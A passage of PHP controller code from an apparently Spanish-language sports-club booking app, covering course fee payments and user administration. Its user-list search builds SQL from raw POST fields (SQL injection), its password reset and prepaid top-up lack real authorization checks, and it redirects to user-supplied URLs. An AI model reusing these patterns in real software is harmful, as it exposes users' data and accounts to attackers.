$assistant->last_day_payed=="") { $ultima_fecha = $assistant->sign_date; $dia = date('d', strtotime($ultima_fecha)); if($dia < $info->monthly_payment_day) { $trozos = explode('-', $ultima_fecha); $last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$info->monthly_payment_day; } elseif($dia > $info->monthly_payment_day) { $fecha_siguiente = date($this->config->item('log_date_format'), strtotime($assistant->sign_date.' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency))); $trozos = explode('-', $fecha_siguiente); $last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$info->monthly_payment_day; } else { $last_payd_date = date($this->config->item('log_date_format'), strtotime($assistant->sign_date.' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency))); } //echo "1<br>"; } else { $last_payd_date = date($this->config->item('log_date_format'), strtotime($assistant->last_day_payed.' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency))); //echo "2<br>"; } } //echo $last_payd_date; //exit(); # Si es para la lista de espera o si la cuota de alta es 0 o si, siendo otra, viene con la acciรณn de 'save', osea, ya pagada.. if(isset($quantity) && $quantity!=0 && $quantity!="" && isset($paymentway) && $paymentway!=0 && $paymentway!="") { if($this->input->post('payable_quota_tmp')!=0) { $pay_amount = $this->input->post('payable_quota_tmp') * $quantity; //echo '<br>'.$this->input->post('payable_quota_tmp'); } else { $cuota = $this->app_common->getPriceValue($info->price, array('date' => $info->start_date, 'time' => $info->start_time, 'group' => $assistant_info['group_id'])); $pay_amount_tmp = $cuota * $quantity; if($assistant->discount_type == '%') $pay_amount = $pay_amount_tmp - ($pay_amount_tmp * $assistant->discount / 100); else $pay_amount = $pay_amount_tmp - $assistant->discount; } //exit('<br>'.'cuota:'.$pay_amount); if($this->lessons->setMonthlyPayment($id, $last_payd_date)) $this->session->set_userdata('info_message', 'Pago hasta el '.date($this->config->item('reserve_date_filter_format'), strtotime($last_payd_date)).' realizado'); else { $this->session->set_userdata('error_message', 'Error en el pago.'); redirect(site_url('lessons/assistants/'.$assistant->id_lesson), 'Location'); exit(); } if($assistant->id_user != '' && $assistant->id_user != 0) $user_desc = $assistant->first_name.' '.$assistant->last_name; else $user_desc = $assistant->user_desc; $estado = 9; if($paymentway == 4) $estado = 2; $this->pagos->id_type=2; //Clases y cursos $this->pagos->id_element=$this->session->userdata('session_id'); $this->pagos->id_transaction='l-'.$assistant->id_lesson.'-'.$assistant->id_user.'-'.date('U'); // Formato 'l' de lesson, codigo de curso, codigo de usuario y fecha del momento del pago $this->pagos->id_user=$assistant->id_user; $this->pagos->desc_user=$user_desc; $this->pagos->id_paymentway = $paymentway; $this->pagos->status=$estado; $this->pagos->quantity = $pay_amount; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description="Cuota del curso '".$info->description."', hasta el ".date($this->config->item('reserve_date_filter_format'), strtotime($last_payd_date)); $this->pagos->create_user=$this->session->userdata('user_id'); $this->pagos->create_time=date($this->config->item('log_date_format')); $this->pagos->setPayment(); redirect(site_url('lessons/assistants/'.$assistant->id_lesson), 'Location'); exit(); } else { $this->session->set_userdata('error_message', 'Error en la informaci&oacute;n del pago.'); redirect(site_url('lessons/assistants/'.$assistant->id_lesson), 'Location'); exit(); } // Fin del IF que registra el alta # Definiciรณn de barra de menus $menu=array('menu' => $this->app_common->get_menu_options()); # Pantalla de pago de la cuota de alta $contenido = $this->load->view('lessons/monthly_payment', array('info' => $info, 'id' => $id, 'id_user' => $assistant->id_user, 'user_desc' => $assistant->user_desc, 'user_phone' => $assistant->user_phone, 'funcion_destino' => 'asistant_payment', 'last_day_payed' => $assistant->last_day_payed, 'next_day_payed' => $last_payd_date), true); $data=array( 'meta' => $this->load->view('meta', '', true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'footer' => $this->load->view('footer', '', true), 'form_name' => 'frmDetail', 'main_content' => $contenido, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function unsubscribe_assistant($lesson, $id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $motivo_baja = $this->input->post('unsubscription_reason'); //echo $motivo_baja; print_r($_POST); exit(); if($this->lessons->unsubscribeAssitant($lesson, $id, $motivo_baja)) $this->session->set_userdata('info_message', 'Usuario eliminado'); else $this->session->set_userdata('error_message', 'Error eliminando al usuario'); redirect(site_url('lessons/assistants/'.$lesson), 'Location'); exit(); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funciรณn que nos redirige al detalle del curso de un 'assistant' dado por su 'id' # ------------------------------------------------------------------- function assistant_redirect($id_assistant) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } $usuario = $this->calendario->getAssistantInfo($id_assistant); redirect(site_url('lessons/detail/'.$usuario->id_lesson), 'Location'); exit(); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que muestra un resumen de un curso # ------------------------------------------------------------------- function tooltip_info($id = NULL) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); if(isset($id) && trim($id) != "") { $info=$this->calendario->getCalendarByRange($id); //print_r($info); //exit(); if(isset($info)) $this->load->view('lessons/tooltip_info', array('info' => $info, 'buttons' => FALSE)); else echo 'Informaci&oacute;n no disponible'; //$main_content.='<p>Partido en '.$this->config->item('club_name').' el '.$fecha.' - '.$this->config->item('app_name').' en la pista '.$info['reserva'].'.</p>'; } } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que muestra un resumen de info de asistente a un curso # ------------------------------------------------------------------- function tooltip_assistant_info($id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); if(isset($id) && trim($id) != "") { $assistant=$this->calendario->getAssistantInfo($id); $info=$this->calendario->getCalendarByRange($assistant->id_lesson); //print_r($info); //exit(); if(isset($info)) $this->load->view('lessons/tooltip_assistant_info', array('asistente' => $assistant, 'info' => $info)); else echo 'Informaci&oacute;n no disponible'; //$main_content.='<p>Partido en '.$this->config->item('club_name').' el '.$fecha.' - '.$this->config->item('app_name').' en la pista '.$info['reserva'].'.</p>'; } } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Redirijo al perfil de usuario del asistente a un curso seleccionado # ------------------------------------------------------------------- function asistant_info($curso, $id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); $this->load->model('Redux_auth_model', 'users', TRUE); $this->load->library('calendario'); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $assistant=$this->calendario->getAssistantInfo($id); //print_r($assistant);exit(); //$this->session->set_userdata('returnUrl', site_url('lessons/assistants/'.$id)); if(isset($assistant) && is_object($assistant)) redirect(site_url('users/detail/'.$assistant->id_user), 'Location'); else { $this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido'); redirect(site_url('lessons/assistants/'.$curso), 'Location'); } exit(); } } /* End of file welcome.php */ /* Location: ./system/application/controllers/welcome.php */``` users.php ```<?php class Users extends Controller { function Users() { parent::Controller(); $this->load->helper('flexigrid'); $this->load->library('flexigrid'); } function index( $option = NULL, $export = NULL) { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->helper('jqgrid'); if($this->redux_auth->logged_in()) { $profiles_visualization = $this->config->item('profiles_visualization_permission'); $profile=$this->redux_auth->profile(); $user_group = $profile->group; if(!$profiles_visualization[$user_group]) { $this->session->set_userdata('error_message', 'Acceso a esa opci&oacute;n no permitido'); redirect(site_url(), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio $this->session->set_userdata('error_message', 'Acceso a esa opci&oacute;n no permitido'); redirect(site_url(), 'Location'); exit(); } $colmodel = " {name:'id',index:'users.id', width:1, align:'center',hidden:true}, {name:'nombre_completo',index:'meta.last_name', width:20, align:'center'}, {name:'email', index:'users.email', width:25, align:'center'}, {name:'group_desc',index:'groups.description', width:10, align:'center'}, {name:'phone', index:'meta.phone', width:10, align:'center'}, {name:'create_time', index:'users.create_time', width:12, align:'center'}"; $colnames = "'Id', 'Nombre', 'Email', 'Nivel', 'Telefono', 'Fecha de alta'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "users/jqgrid_list_all", 'title' => 'Listado de usuarios', 'default_orderfield' => 'last_name', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '820', 'row_list_options' => '10,20,50', ); switch($option) { case "active": $para_grid['data_url'] = 'users/jqgrid_list_active'; $para_grid['title'] = 'Listado de usuarios activos'; break; case "inactive": $para_grid['data_url'] = 'users/jqgrid_list_inactive'; $para_grid['title'] = 'Listado de usuarios inactivos'; break; case "quotas": $para_grid['data_url'] = 'users/jqgrid_list_quotas'; $para_grid['title'] = 'Listado de usuarios con cuota'; break; case "next_quotas": $para_grid['data_url'] = 'users/jqgrid_list_next_quotas'; $para_grid['title'] = 'Listado de usuarios con cuotas proximas a expirar'; break; case "old_quotas": $para_grid['data_url'] = 'users/jqgrid_list_old_quotas'; $para_grid['title'] = 'Listado de usuarios con cuotas impagadas'; break; case "users": $para_grid['data_url'] = 'users/jqgrid_list_users'; $para_grid['title'] = 'Listado de usuarios'; break; case "members": $para_grid['data_url'] = 'users/jqgrid_list_members'; $para_grid['title'] = 'Listado de socios'; break; case "teacher": $para_grid['data_url'] = 'users/jqgrid_list_teacher'; $para_grid['title'] = 'Listado de profesores'; break; } # Exportaciรณn if(isset($export) && $export != '') { switch($export) { case 'excel': default: $datos = $this->jqgrid_list_all($param, 'return_rows'); echo '<pre>';print_r($datos);exit(); $this->output->set_header("Content-type: application/vnd.ms-excel"); $this->output->set_header("Content-Disposition: attachment;filename=export_users_".time().".xls"); $salida=""; $salida='<table boder="1">'."\r\n"; $salida.='<tr><td>Id Usuario</td><td>Usuario</td><td>Cantidad</td><td>Fecha</td><td>Fecha Valor</td><td>Ticket</td><td>Descripcion</td><td>Cuenta</td><td>Titular</td></tr>'; foreach($datos as $pago) { $salida.='<tr>'."\r\n"; $i=0; $salida.='<td>'.$pago['id_user'].'</td>'."\r\n"; $salida.='<td>'.$pago['desc_user'].'</td>'."\r\n"; $salida.='<td>'.$pago['quantity'].'</td>'."\r\n"; $salida.='<td>'.$pago['date'].'</td>'."\r\n"; $salida.='<td>'.$pago['fecha_valor'].'</td>'."\r\n"; $salida.='<td>'.$pago['ticket_number'].'</td>'."\r\n"; $salida.='<td>'.$pago['description'].'</td>'."\r\n"; $salida.='<td>'.$pago['bank'].'-'.$pago['bank_office'].'-'.$pago['bank_dc'].'-'.$pago['bank_account'].'</td>'."\r\n"; $salida.='<td>'.$pago['bank_titular'].'</td>'."\r\n"; $salida.='</tr>'."\r\n"; } $salida.='</table>'; $this->output->set_output($salida); return NULL; //redirect(site_url('facturacion/list_all/'.$param), 'Location'); //exit(); //print('<pre>');print_r($datos); exit(); //echo 'a'; break; } } $grid_code = '<div style="position:relative; width: 820px; height: 600px; float: right;">'.jqgrid_creator($para_grid).'</div>'; $menu_lateral = $this->load->view('menu_lateral_gestion', '', true); $permisos = array('export_excel' => TRUE); $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('gestion/submenu_navegacion', array(), true)), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true), 'main_content' => $this->load->view('users/list_all', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'permisos' => $permisos, 'menu_lateral' => $menu_lateral), true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); # Carga de la vista principal $this->load->view('main', $data); } # ------------------------------------------------------------------- # devuelve listados de usuarios para jqGrid en JSON # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Listado de activos public function jqgrid_list_active () { $opcion = array('where' => "users.active = '1'"); $this->jqgrid_list_all($opcion); } # Listado de inactivos public function jqgrid_list_inactive () { $opcion = array('where' => "(users.active = '' OR users.active = '0' OR users.active IS NULL)"); $this->jqgrid_list_all($opcion); } # Listado de usuarios con cuota public function jqgrid_list_quotas () { $opcion = array('where' => "(meta.code_price is not null and meta.code_price<>'')"); $this->jqgrid_list_all($opcion); } # Listado de usuarios con cuota a punto de caducar segun el valor del config de preaviso public function jqgrid_list_next_quotas () { $opcion = array('where' => "(meta.code_price is not null and meta.code_price<>'' and meta.last_payd_date is not null and meta.last_payd_date>'".date($this->config->item('date_db_format'), strtotime(date('U').' +'.$this->config->item('users_qouta_caducity_days').'days'))."')"); $this->jqgrid_list_all($opcion); } # Listado de usuarios con cuota a punto de caducar segun el valor del config de preaviso public function jqgrid_list_old_quotas () { $opcion = array('where' => "(meta.code_price is not null and meta.code_price<>'' and (meta.last_payd_date is null or meta.last_payd_date<='".date($this->config->item('date_db_format'))."'))"); $this->jqgrid_list_all($opcion); } # Listado de usuarios de nivel 'user' public function jqgrid_list_users () { $opcion = array('where' => "(users.group_id=7)"); $this->jqgrid_list_all($opcion); } # Listado de usuarios de nivel 'socio' public function jqgrid_list_members () { $opcion = array('where' => "(users.group_id=6)"); $this->jqgrid_list_all($opcion); } # Listado de usuarios de nivel 'profesor' public function jqgrid_list_teacher () { $opcion = array('where' => "(users.group_id=5)"); $this->jqgrid_list_all($opcion); } public function jqgrid_list_all ($option = NULL) { $this->load->model('redux_auth_model', 'users', TRUE); $where = ''; if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; if($user_group > '3') $where = "users.id = '".$profile->id."'"; } else { exit(0); } //$req_param = array (); $req_param = array ( "orderby" => $this->input->post( "sidx", TRUE ), "orderbyway" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "where" => '', "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), /* "sort_by" => $this->input->post( "sidx", TRUE ), "sort_direction" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), "search_field_1" => "msg_to", "search_field_2" => "msg_in_inbox", "user_id" => $this->session->userdata('user_id') */ ); if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') { if(trim($where)!="") $where .= ' AND '; $where .= $req_param['search_field']; switch($req_param['search_operator']) { case 'cn': $where .=' LIKE \'%'.$req_param['search_str'].'%\' '; break; } } $req_param['where'] = $where; if(isset($option) && $option['where']!='') { if(trim($req_param['where'])!="") $req_param['where'] .= ' AND '; $req_param['where'].= $option['where']; } $data->page = $this->input->post( "page", TRUE ); $data->records = count ($this->users->get_data($req_param,"all")->result_array()); if(!isset($req_param['num_rows']) || $req_param['num_rows'] == 0 || $req_param['num_rows'] == '') $req_param['num_rows'] = 100000000; $data->total = ceil ($data->records / $req_param['num_rows'] ); $records = $this->users->get_data ($req_param, 'none')->result_array(); //print("<pre>");print_r($records); $i = 0; foreach($records as $record) { $records[$i]['nombre_completo'] = $record['first_name']; if($record['first_name']!="") $records[$i]['nombre_completo'].=' '.$record['last_name']; $i++; } $data->rows = $records; echo json_encode ($data ); exit( 0 ); } # ------------------------------------------------------------------- # Funcion que cambia el estado del usuario # ------------------------------------------------------------------- function change_status($code_user) { $this->load->model('redux_auth_model', 'users', TRUE); if($this->redux_auth->logged_in()) { $result = $this->users->change_status($code_user); if ($result) { /* introducir mensaje */ } else { /* introducir mensaje */ } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } redirect(site_url('users'), 'Location'); exit(); } # ------------------------------------------------------------------- # Funcion que cambia el estado del usuario # ------------------------------------------------------------------- function reset_password($code_user = NULL, $password = NULL) { $this->load->model('redux_auth_model', 'users', TRUE); if($this->redux_auth->logged_in()) { $returnUrl = $this->input->post('returnUrl'); if(!isset($code_user)) $code_user = $this->input->post('id_user'); if(!isset($password)) $password = $this->input->post('new_password'); $result = $this->users->change_password_admin($code_user, $password); if ($result) { $this->session->set_userdata('info_message', 'Password actualizado.'); } else { $this->session->set_userdata('error_message', 'Password NO actualizado.'); /* introducir mensaje */ } if($returnUrl!='') redirect($returnUrl, 'Location'); else redirect(site_url(), 'Location'); exit(); } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } //exit($this->session->userdata('error_message')."A"); $this->index(); } # ------------------------------------------------------------------- # Funcion para cargar cuota de usuario # ------------------------------------------------------------------- function pay_quota($code_user) { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->library('users_lib'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $visualization_permission = $this->config->item('profiles_visualization_permission'); if(!$visualization_permission[$profile->group]) { $this->session->set_userdata('error_message', 'No tiene permisos para visualizar esa pagina.'); redirect(site_url(), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio $this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.'); redirect(site_url(), 'Location'); exit(); } if($this->redux_auth->logged_in()) { # recupero los datos del usuario $array_result = $this->users->get_user($code_user); $payable_quota = $this->input->post('payable_quota'); $payd_date_tmp = $this->input->post('payd_date'); $returnUrl = $this->input->post('returnUrl'); if($returnUrl=='') $returnUrl = site_url('users/detail/'.$array_result['user_id']); //echo $returnUrl; $paymentway = $this->input->post('paymentway'); //echo $payable_quota; //echo '<br/>'.$payd_date_tmp; //print("<pre>");print_r($_POST); //echo '<br>last_payd_date:'.$array_result['last_payd_date']; //exit(); $estado = 9; if( $paymentway == 4) $estado = 2; $pagado = $this->users_lib->pay_user_quota($code_user, array('payable_quota' => $payable_quota, 'payd_date_tmp' => $payd_date_tmp, 'status' => $estado, 'paymentway' => $paymentway, 'code_price' => $array_result['code_price'], 'name' => trim($array_result['user_name'].' '.$array_result['user_lastname']), 'group_id' => $array_result['group_id'])); if($pagado) { redirect($returnUrl, 'Location'); exit(); } else { $this->session->set_userdata('error_message', 'Error en la informaci&oacute;n del pago.'); redirect($returnUrl, 'Location'); exit(); } exit(); } } # ------------------------------------------------------------------- # Funcion que muestra el detalle del usuario # ------------------------------------------------------------------- function detail($code_user) { $this->load->model('redux_auth_model', 'users', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $visualization_permission = $this->config->item('profiles_visualization_permission'); if(!$visualization_permission[$profile->group]) { $this->session->set_userdata('error_message', 'No tiene permisos para visualizar esa pagina.'); redirect(site_url(), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio $this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.'); redirect(site_url(), 'Location'); exit(); } if($this->redux_auth->logged_in()) { $perfiles_permission = $this->config->item('profiles_visualization_permission'); # Si es el mismo usuario el que quiero ver del que estรก logueado, le llevo a la pรกgina del perfil if(!$perfiles_permission[$profile->group] && $code_user == $profile->id) { redirect(site_url('users/profile'), 'Location'); exit(); } # Pagina de retorno del formulario $returnUrl = $this->session->userdata('returnUrl'); //echo '---'.$returnUrl.'---'.$this->session->userdata('returnUrl'); $this->session->unset_userdata('returnUrl'); if(!isset($returnUrl)) $returnUrl = site_url('users/index'); $this->session->set_userdata('returnUrl', current_url()); # Carga de niveles para la vista $array_groups = $this->users->get_groups(); # Carga de paรญses para la vista $array_country = $this->users->get_countries(); # Carga de ciudades para la vista $array_province = $this->users->get_provinces(); # Carga de niveles para la vista //$array_levels = $this->users->get_levels(); # recupero los datos del usuario $array_result = $this->users->get_user($code_user); if ($array_result != null) { # Compruebo si me llega por POST un nivel de usuario diferente.. y le doy preferencia. $grupo_tmp = $this->input->post('group_id'); if(isset($grupo_tmp) && $grupo_tmp != '') $array_result['group_id'] = $grupo_tmp; //print("<pre>");print_r($array_result); $tarifa_enabled = FALSE; $tarifas_permission = $this->config->item('users_quota_group'); if($tarifas_permission[$array_result['group_id']]) $tarifa_enabled = TRUE; $tarifa_payable = $tarifa_enabled; if(!isset($array_result['code_price']) || $array_result['code_price'] == '' || $array_result['code_price'] == '0') $tarifa_payable = FALSE; $change_pwd_enabled = FALSE; $change_pwd_enabled_permission = $this->config->item('users_password_admin_change'); if($change_pwd_enabled_permission[$profile->group]) $change_pwd_enabled = TRUE; # Para ver si muestro el nรบmero de socio $numero_socio_visible = $this->config->item('users_member_number_visibility'); $numero_socio_visible_grupos = $this->config->item('users_member_number_visibility_by_group'); if($numero_socio_visible) $numero_socio_visible = $numero_socio_visible_grupos[$array_result['group_id']]; $numero_socio_automatico = $this->config->item('users_member_number_auto'); # Gestiรณn de carnet de socio $carnet_permission = $this->config->item('users_carnet_enabled'); $carnet_permission = $this->config->item('users_carnet_template_by_group'); $carnet_enabled = FALSE; if($this->config->item('users_carnet_enabled') && isset($carnet_permission) && $carnet_permission[$array_result['group_id']] != '') $carnet_enabled = TRUE; $quota = 0; if($array_result['code_price']!='') $quota = $this->users->get_userQuota($array_result); //if($array_result['code_price']!='') echo '<br>-------'.$array_result['code_price']; //echo "Cuota: ".$quota; # Carga de tarifas posibles $array_quotas = $this->users->get_quotas(); $extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; $next_payment_date = date($this->config->item('reserve_date_filter_format'), strtotime($this->users->getNextPaymentDate($code_user))); //echo $next_payment_date; # Carga de datos para la vista $data=array( 'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('users/submenu_navegacion_detail', array(), true)), true), 'menu' => $this->load->view('menu', '', true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'filters' => $this->load->view('reservas_gest/filters', array('search_fields' => $this->simpleSearchFields()), true), 'form' => 'formDetail', 'page' => 'users/user_detail', 'code_user' => $code_user, 'array_user' => $array_result, 'array_groups' => $array_groups, 'array_country' => $array_country, 'array_province' => $array_province, 'array_quotas' => $array_quotas, 'tarifa_enabled' => $tarifa_enabled, 'tarifa_payable' => $tarifa_payable, 'carnet_enabled' => $carnet_enabled, 'numero_socio_visible' => $numero_socio_visible, 'numero_socio_automatico' => $numero_socio_automatico, 'change_pwd_enabled' => $change_pwd_enabled, 'quota' => $quota, 'next_payment_date' => $next_payment_date, 'returnUrl' => $returnUrl, //'enable_grid' => 1, //'js_grid' => $grid_js, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); /* pintar */ } else { /* error */ //print "ERROR pasa por aqui"; $this->session->set_userdata('error_message', 'Informacion de usuario no disponible o usuario inexistente.'); redirect(site_url(), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } } # ------------------------------------------------------------------- # Funcion que muestra el perfil de un usuario para su propia consulta.. con acceso a sus reservas, pagos, etc.. # ------------------------------------------------------------------- function profile() { $this->load->model('redux_auth_model', 'users', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group = $profile->group; $code_user = $profile->id; $profiles_visualization = $this->config->item('profiles_visualization_permission'); $panel_permission = $this->config->item('bookings_visualization_permission'); if(!$profiles_visualization[$user_group] && !$panel_permission[$user_group] && $code_user != $profile->id) { $this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido'); redirect(site_url(), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } # opciones del menu $menu=array('menu' => $this->app_common->get_menu_options()); if($this->redux_auth->logged_in()) { # Carga de niveles para la vista $array_groups = $this->users->get_groups(); # Carga de paรญses para la vista $array_country = $this->users->get_countries(); # Carga de ciudades para la vista $array_province = $this->users->get_provinces(); # Carga de niveles para la vista //$array_levels = $this->users->get_levels(); # recupero los datos del usuario $array_result = $this->users->get_user($code_user); //print_r($array_result); if ($array_result != null) { //print("<pre>");print_r($array_result); $tarifa_enabled = FALSE; $tarifas_permission = $this->config->item('users_quota_group'); if($tarifas_permission[$array_result['group_id']]) $tarifa_enabled = TRUE; $quota = 0; if($array_result['code_price']!='') $quota = $this->users->get_userQuota($array_result); # Para ver si muestro el nรบmero de socio $numero_socio_visible = $this->config->item('users_member_number_visibility'); $numero_socio_visible_grupos = $this->config->item('users_member_number_visibility_by_group'); if($numero_socio_visible) $numero_socio_visible = $numero_socio_visible_grupos[$array_result['group_id']]; $numero_socio_automatico = $this->config->item('users_member_number_auto'); //echo "Cuota: ".$quota; # Carga de tarifas posibles $array_quotas = $this->users->get_quotas(); $extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; # Carga de datos para la vista $data=array( 'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('users/submenu_navegacion', array(), true)), true), 'menu' => $this->load->view('menu', $menu, true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'filters' => $this->load->view('reservas_gest/filters', array('search_fields' => $this->simpleSearchFields()), true), 'form' => 'formDetail', 'page' => 'users/user_profile', 'code_user' => $code_user, 'array_user' => $array_result, 'array_groups' => $array_groups, 'array_country' => $array_country, 'array_province' => $array_province, 'array_quotas' => $array_quotas, 'tarifa_enabled' => $tarifa_enabled, 'quota' => $quota, 'numero_socio_automatico' => $numero_socio_automatico, 'numero_socio_visible' => $numero_socio_visible, //'array_levels' => $array_levels, //'enable_grid' => 1, //'js_grid' => $grid_js, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->session->set_userdata('returnUrl', site_url('users/profile/'.$code_user)); $this->load->view('main', $data); /* pintar */ } else { /* error */ print "ERROR pasa por aqui"; } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } } # ------------------------------------------------------------------- # Devuelve el listado de reservas por usuario # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que permite aรฑadir saldo prepago al usuario # ------------------------------------------------------------------- function add_prepaid($code_user, $command = NULL, $control = NULL) { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } if($this->redux_auth->logged_in()) { $amount = $this->input->post('amount'); $codigo_pedido = time('U').'pr'; /* DEFINIR AQUI LO QUE RECIBA POR POST (CANTIDAD, FORMA DE PAGO...) PARA PASAR PARรMETROS A LA FUNCION .. */ if(isset($command) && isset($control) && md5($code_user)==$control) { //echo $this->input->post('amount'); //echo $amount; //print_r($_POST); //exit("AA"); $this->users->addPrepaidMovement($code_user, $amount, '3', $command, date('U')); $this->pagos->updatePaymentStatus('id_transaction', $this->input->post('order_num'), '9'); $this->session->set_userdata('info_message', 'Saldo prepago actualizado.'); redirect(site_url('users/add_prepaid/'.$code_user), 'Location'); exit(); } if($amount!='') { $this->pagos->id_type=3; //Reserva de pista $this->pagos->id_element=$this->session->userdata('session_id'); $this->pagos->id_transaction=$codigo_pedido; $this->pagos->id_user=$code_user; $this->pagos->id_paymentway=''; $this->pagos->status=5; $this->pagos->quantity=$amount; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Recarga al bono prepago'; $this->pagos->create_user=$profile->id; $this->pagos->create_time=date($this->config->item('log_date_format')); $this->pagos->setPayment(); } # Carga de datos para la vista $extra = '<script type="text/javascript" 